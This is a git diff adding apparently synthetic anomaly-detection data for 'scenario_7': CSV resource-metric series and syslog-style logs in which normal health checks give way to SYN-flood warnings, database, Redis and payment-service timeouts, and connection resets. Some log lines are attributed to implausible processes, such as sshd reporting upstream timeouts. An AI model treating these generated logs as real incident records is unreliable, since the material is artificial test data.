10.1.5.111 - - [26/Aug/2025:10:02:23 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:02:26 nginx[10347]: 10.1.75.216 - - [26/Aug/2025:10:02:26 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:02:26 nginx[22419]: 10.1.24.140 - - [26/Aug/2025:10:02:26 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:02:32 ingress[10135]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.29.5 +Aug 26 10:02:39 checkout-svc[20675]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:02:44 app-worker[22205]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:02:44 app-worker[2437]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:02:48 app-worker[23598]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:02:52 checkout-svc[12926]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:02:52 ingress[16082]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.75.148 +Aug 26 10:02:52 kubelet[20205]: INFO: Successfully probed container health-check on pod web-app-1 +Aug 26 10:02:59 api-gateway[1668]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:02:59 db-connector[24891]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:03:01 app-worker[19405]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:01 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:01 systemd[1]: Started Session 50 of user root. +Aug 26 10:03:05 app-worker[24019]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:05 db-connector[9389]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:03:05 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:10 app-worker[13643]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:10 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:17 app-worker[20218]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:17 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:21 checkout-svc[8730]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:03:21 db-connector[9802]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:03:25 app-worker[16830]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:25 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:25 sshd[16581]: Accepted publickey for ubuntu from 10.1.70.244 port 45783 ssh2: RSA SHA256:... +Aug 26 10:03:30 db-connector[16379]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:03:30 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:39 app-worker[10347]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:39 ingress[17495]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.65.156 +Aug 26 10:03:41 checkout-svc[19022]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:03:41 checkout-svc[3187]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:03:41 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:03:47 app-worker[1454]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:47 sshd[11738]: Accepted publickey for ubuntu from 10.1.22.244 port 58582 ssh2: RSA SHA256:... +Aug 26 10:03:52 app-worker[10099]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:03:52 checkout-svc[6104]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:03:56 checkout-svc[16569]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:03:56 db-connector[5287]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:04:01 api-gateway[24820]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:04:01 db-connector[21003]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:04:01 sshd[24668]: Accepted publickey for ubuntu from 10.1.29.36 port 51258 ssh2: RSA SHA256:... +Aug 26 10:04:09 checkout-svc[2558]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:04:09 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:14 api-gateway[2569]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:04:14 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:14 kubelet[5136]: INFO: Successfully probed container health-check on pod web-app-1 +Aug 26 10:04:15 checkout-svc[7323]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:04:15 db-connector[19560]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:04:15 sshd[15821]: Accepted publickey for ubuntu from 10.1.73.20 port 38191 ssh2: RSA SHA256:... +Aug 26 10:04:20 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:20 sshd[23364]: Accepted publickey for ubuntu from 10.1.41.183 port 23939 ssh2: RSA SHA256:... +Aug 26 10:04:27 checkout-svc[18034]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:04:27 ingress[18668]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.89.179 +Aug 26 10:04:27 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:33 checkout-svc[4274]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:04:39 checkout-svc[16318]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:04:39 kubelet[12735]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:04:44 api-gateway[21722]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:04:48 checkout-svc[14249]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:04:48 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:54 app-worker[20417]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:04:54 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:54 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:04:56 checkout-svc[4568]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:05:04 db-connector[24717]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:05:08 api-gateway[8755]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:05:08 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:05:08 systemd[1]: Started Session 27 of user root. +Aug 26 10:05:14 checkout-svc[11908]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:05:14 db-connector[24238]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:05:14 ingress[15647]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.29.60 +Aug 26 10:05:18 app-worker[6395]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:05:18 checkout-svc[22342]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:05:18 sshd[6010]: Accepted publickey for ubuntu from 10.1.69.26 port 27705 ssh2: RSA SHA256:... +Aug 26 10:05:24 api-gateway[23694]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:05:24 db-connector[23840]: CRITICAL: Connection to primary database lost. Attempting to reconnect... +Aug 26 10:05:24 ingress[1951]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.63.16 +Aug 26 10:05:27 checkout-svc[8503]: ERROR: Failed to connect to payment-processor: Read timeout +Aug 26 10:05:31 api-gateway[3249]: WARN: Upstream request to user-service failed: Connection reset by peer +Aug 26 10:05:31 app-worker[24799]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:05:31 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:05:38 app-worker[21857]: ERROR: Connection timeout to redis_cache:6379 after 5000ms +Aug 26 10:05:44 ingress[16120]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.58.71 +Aug 26 10:05:44 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 26 10:05:48 kubelet[15028]: INFO: Successfully probed container health-check on pod web-app-1 +Aug 26 10:05:48 sshd[24337]: Accepted publickey for ubuntu from 10.1.54.213 port 33526 ssh2: RSA SHA256:... +Aug 26 10:05:53 sshd[24168]: Accepted publickey for ubuntu from 10.1.97.12 port 15646 ssh2: RSA SHA256:... +Aug 26 10:05:53 systemd[1]: Started Session 44 of user root. +Aug 26 10:05:59 CRON[9037]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:59 sshd[15864]: Accepted publickey for ubuntu from 10.1.32.70 port 42667 ssh2: RSA SHA256:... +Aug 26 10:06:00 kubelet[20190]: INFO: routine sync completed for pod api-server-3 +Aug 26 10:06:00 nginx[10209]: 10.1.71.196 - - [26/Aug/2025:10:06:00 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:06:00 systemd[1]: Started Session 15 of user root. +Aug 26 10:06:09 kubelet[1111]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:06:13 kubelet[11475]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:06:13 kubelet[12641]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:06:13 nginx[6257]: 10.1.42.34 - - [26/Aug/2025:10:06:13 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:06:16 sshd[3398]: Accepted publickey for ubuntu from 10.1.66.176 port 53882 ssh2: RSA SHA256:... +Aug 26 10:06:24 kubelet[15360]: INFO: routine sync completed for pod api-server-3 +Aug 26 10:06:27 CRON[16197]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:27 kubelet[5232]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:06:33 sshd[7646]: Accepted publickey for ubuntu from 10.1.71.230 port 23901 ssh2: RSA SHA256:... +Aug 26 10:06:38 systemd[1]: Started Session 30 of user root. +Aug 26 10:06:44 CRON[11050]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:44 CRON[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:48 kubelet[12919]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:06:48 kubelet[2205]: INFO: Successfully probed container health-check on pod web-app-1 +Aug 26 10:06:51 nginx[21336]: 10.1.41.212 - - [26/Aug/2025:10:06:51 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:06:57 CRON[11427]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:57 CRON[21063]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:57 systemd[1]: Started Session 41 of user root. +Aug 26 10:07:03 CRON[4289]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:05 sshd[1004]: Accepted publickey for ubuntu from 10.1.77.86 port 56327 ssh2: RSA SHA256:... +Aug 26 10:07:13 CRON[21584]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:13 kubelet[18851]: INFO: routine sync completed for pod api-server-3 +Aug 26 10:07:13 kubelet[21595]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:07:17 CRON[21800]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:17 kubelet[18414]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:07:17 kubelet[21378]: INFO: Successfully probed container health-check on pod data-processor-5 +Aug 26 10:07:21 CRON[1881]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:25 nginx[8660]: 10.1.94.241 - - [26/Aug/2025:10:07:25 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" diff --git a/anom_dataset/scenario_7/anom_7_29.csv b/anom_dataset/scenario_7/anom_7_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..ba69d093dec7cc6901a8ee593f18f573609acb4c --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,15.993428306022466,40.09707754934804,26.87700204329502,1.0441273289066115,1.4038693028482345 +2025-07-02T11:00:05Z,14.723471397657631,40.96864499053289,22.42852733075115,0.756413784882056,1.6065477826005157 +2025-07-02T11:00:10Z,16.295377076201383,39.29794690612265,21.78732250581666,1.016316375215496,1.2782479703086285 +2025-07-02T11:00:15Z,18.04605971281605,39.67233785340223,26.447417245729557,0.9010233061019587,1.3803423444197884 +2025-07-02T11:00:20Z,14.531693250553328,39.607891846867844,24.329611644022446,0.8018491348952049,1.4380287983422226 +2025-07-02T11:00:25Z,14.531726086101639,38.536485051867885,27.142001482276275,0.9462103474263271,1.2197559056228329 +2025-07-02T11:00:30Z,18.158425631014783,40.296120277064574,26.419712873720634,0.919905969557347,1.3448184963620835 +2025-07-02T11:00:35Z,16.534869458305817,40.26105527217989,24.78151326202938,0.8399783122841206,1.302518480156359 +2025-07-02T11:00:40Z,14.061051228130095,40.00511345664246,22.459618845794786,0.906980208499002,1.3195352197097663 +2025-07-02T11:00:45Z,16.08512008717193,39.76541286662485,20.455458325942406,0.861468640313824,1.1453980432289068 +2025-07-02T11:00:50Z,14.073164614375075,38.58462925794959,23.660455143798938,0.9113517345251249,1.3049020348517886 +2025-07-02T11:00:55Z,14.068540492859487,39.57935467723464,27.569196382970418,0.9662130674521047,1.39959965824909 +2025-07-02T11:01:00Z,15.48392454313207,39.65728548347323,25.642281232390612,1.0586016816145352,1.5902287215590083 +2025-07-02T11:01:05Z,11.173439510684403,39.19772273077838,21.262783663864035,0.776218450117315,1.4918541652170414 +2025-07-02T11:01:10Z,11.550164334973935,39.83871428833399,25.519542777553546,1.1133033374656267,1.7306364915023114 +2025-07-02T11:01:15Z,13.875424941518055,40.404050856814536,26.15595213918651,0.7047912200477499,1.14653048742239 +2025-07-02T11:01:20Z,12.974337759331153,41.88618590121053,22.3484276913966,0.8848214904964417,1.4744641273441357 +2025-07-02T11:01:25Z,15.628494665190548,40.17457781283184,25.461175317836584,0.9588317206484577,1.3366684011476704 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b/anom_dataset/scenario_7/anom_7_29.log new file mode 100644 index 0000000000000000000000000000000000000000..3887ea29028f4ff2bc3b3ed03bda9959bb84ff1e --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_29.log @@ -0,0 +1,43 @@ +Jul 02 11:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:10 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:02:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:02:30 kernel: [1823.435] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:30 web-app[4567]: ERROR Failed to connect to payment-gateway: Connection timeout +Jul 02 11:02:40 web-app[4567]: ERROR Failed to connect to database-primary: Connection timeout +Jul 02 11:02:50 web-app[4567]: ERROR Failed to connect to database-primary: Connection timeout +Jul 02 11:02:55 kernel: [1823.435] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:02:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:03:00 web-app[4567]: ERROR Failed to connect to payment-gateway: Connection reset by peer +Jul 02 11:03:10 web-app[4567]: ERROR Failed to connect to payment-gateway: Read timeout +Jul 02 11:03:20 kernel: [1823.435] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:20 web-app[4567]: ERROR Failed to connect to user-service: Connection reset by peer +Jul 02 11:03:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:03:30 web-app[4567]: ERROR Failed to connect to database-primary: Connection reset by peer +Jul 02 11:03:40 web-app[4567]: ERROR Failed to connect to user-service: Connection timeout +Jul 02 11:03:45 kernel: [1823.435] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:03:50 web-app[4567]: ERROR Failed to connect to user-service: Read timeout +Jul 02 11:04:00 web-app[4567]: ERROR Failed to connect to payment-gateway: Connection timeout +Jul 02 11:04:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:04:10 kernel: [1823.435] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:10 web-app[4567]: ERROR Failed to connect to user-service: Connection timeout +Jul 02 11:04:20 web-app[4567]: ERROR Failed to connect to payment-gateway: Connection reset by peer +Jul 02 11:04:30 web-app[4567]: ERROR Failed to connect to user-service: Connection timeout +Jul 02 11:04:35 kernel: [1823.435] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:04:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:04:40 web-app[4567]: ERROR Failed to connect to payment-gateway: Connection timeout +Jul 02 11:04:50 web-app[4567]: ERROR Failed to connect to database-primary: Connection timeout +Jul 02 11:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:06:25 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:07:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_3.csv b/anom_dataset/scenario_7/anom_7_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..ca390eb039eb7909da6912bf8b873c8ef80b0483 --- /dev/null +++ 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13:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:00:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:00:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:00:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:01:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:01:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 13:01:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:01:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:02:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:02:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 13:02:25 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.243 +Jul 02 13:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:02:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:02:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.44 +Jul 02 13:02:40 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.191 +Jul 02 13:02:45 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.3 +Jul 02 13:02:50 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.181 +Jul 02 13:03:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:03:05 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.209 +Jul 02 13:03:10 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.110.169 +Jul 02 13:03:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 13:03:20 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.109.84 +Jul 02 13:03:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:03:25 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.108.179 +Jul 02 13:03:30 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.234 +Jul 02 13:03:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:03:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.227 +Jul 02 13:03:40 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.109.47 +Jul 02 13:03:50 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.111.224 +Jul 02 13:04:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:04:05 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.252 +Jul 02 13:04:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:04:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 13:04:25 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.171 +Jul 02 13:04:30 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.110.108 +Jul 02 13:04:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:04:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.110.146 +Jul 02 13:04:40 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.84 +Jul 02 13:04:45 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.108.73 +Jul 02 13:04:55 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.21 +Jul 02 13:05:00 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.251 +Jul 02 13:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:05:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:05:05 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.111.126 +Jul 02 13:05:10 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.111.201 +Jul 02 13:05:15 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.109.65 +Jul 02 13:05:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 13:05:25 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.31 +Jul 02 13:05:30 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.108.28 +Jul 02 13:05:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:05:40 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.180 +Jul 02 13:05:45 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.108.213 +Jul 02 13:05:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:05:55 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.108.70 +Jul 02 13:06:00 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.24 +Jul 02 13:06:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:06:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 13:06:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 13:06:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:07:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 diff --git a/anom_dataset/scenario_7/anom_7_30.csv b/anom_dataset/scenario_7/anom_7_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..5200c2b5b10cc093e9b791a1692d1fcd9c3fd0e7 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,14.93439672774339,45.48264983331468,24.972565424536093,151.63599445683954,211.94329399868738 +2025-07-15T14:30:05Z,13.793830827548447,35.68524072249283,23.032865574162827,145.02199832974094,218.49106088117657 +2025-07-15T14:30:10Z,13.802715797298132,39.85997056725821,26.579740312229923,146.30100262455352,195.40021702235362 +2025-07-15T14:30:15Z,15.926006642868982,39.57298192871626,27.58257642115813,141.07761970094828,210.95270828850008 +2025-07-15T14:30:20Z,15.076906443151287,40.03671391260928,22.22112435295741,157.69015700541274,181.602434445722 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+2025-07-15T14:37:05Z,13.68432691418947,60.335903599355575,27.55580932690877,143.505071696097,185.25023013152708 +2025-07-15T14:37:10Z,15.610342482794433,59.477392679600065,25.900370427604354,134.1259900584112,177.80439944518463 +2025-07-15T14:37:15Z,13.580293696563237,60.42420338884121,23.717888766198293,156.74655113463473,189.76586974305522 +2025-07-15T14:37:20Z,15.13296120428104,61.08284478902634,26.25978802675506,130.85290119945682,187.50143090056932 +2025-07-15T14:37:25Z,13.846649344734704,61.00733654315736,22.759034545151792,147.43253516818334,202.95785674632495 diff --git a/anom_dataset/scenario_7/anom_7_30.log b/anom_dataset/scenario_7/anom_7_30.log new file mode 100644 index 0000000000000000000000000000000000000000..f9801dd6d7f3a0cb098f6dc06c8775f6fd135550 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_30.log @@ -0,0 +1,46 @@ +Jul 15 14:30:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 14:30:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:30:15 api-server[8080]: INFO request processed successfully +Jul 15 14:30:25 api-server[8080]: INFO request processed successfully +Jul 15 14:30:45 database[5432]: INFO: connection authorized: user=app_user,database=prod_db +Jul 15 14:30:50 api-server[8080]: INFO request processed successfully +Jul 15 14:31:15 api-server[8080]: INFO request processed successfully +Jul 15 14:31:20 api-server[8080]: INFO request processed successfully +Jul 15 14:31:40 database[5432]: INFO: connection authorized: user=app_user,database=prod_db +Jul 15 14:31:45 api-server[8080]: INFO request processed successfully +Jul 15 14:32:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 14:32:35 api-server[8080]: WARN: upstream request timeout: connection timed out to upstream service user-db:5432 +Jul 15 14:32:40 kubelet[2345]: ERROR: Connection timeout while connecting to redis cache +Jul 15 14:32:45 database[5432]: ERROR: Connection timeout while connecting to redis cache +Jul 15 14:32:50 database[5432]: INFO: connection authorized: user=app_user,database=prod_db +Jul 15 14:32:55 database[5432]: INFO: connection authorized: user=app_user,database=prod_db +Jul 15 14:33:05 nginx[1123]: POST /api/v1/data HTTP/1.1 201 Created +Jul 15 14:33:10 api-server[8080]: INFO request processed successfully +Jul 15 14:33:15 nginx[1123]: WARN: Connection reset by peer for client 192.168.10.5 +Jul 15 14:33:20 nginx[1123]: ERROR: Failed to fetch data from external API: java.net.SocketTimeoutException: connect timed out +Jul 15 14:33:25 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:33:30 kernel: ERROR: Connection timeout while connecting to redis cache +Jul 15 14:33:35 sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 49152 ssh2 +Jul 15 14:33:40 nginx[1123]: WARN: upstream request timeout: connection timed out to upstream service user-db:5432 +Jul 15 14:33:45 sshd[10234]: WARN: upstream request timeout: connection timed out to upstream service user-db:5432 +Jul 15 14:33:50 database[5432]: ERROR: Read timeout on socket for request POST /api/v1/long-poll +Jul 15 14:33:55 nginx[1123]: GET /healthz HTTP/1.1 200 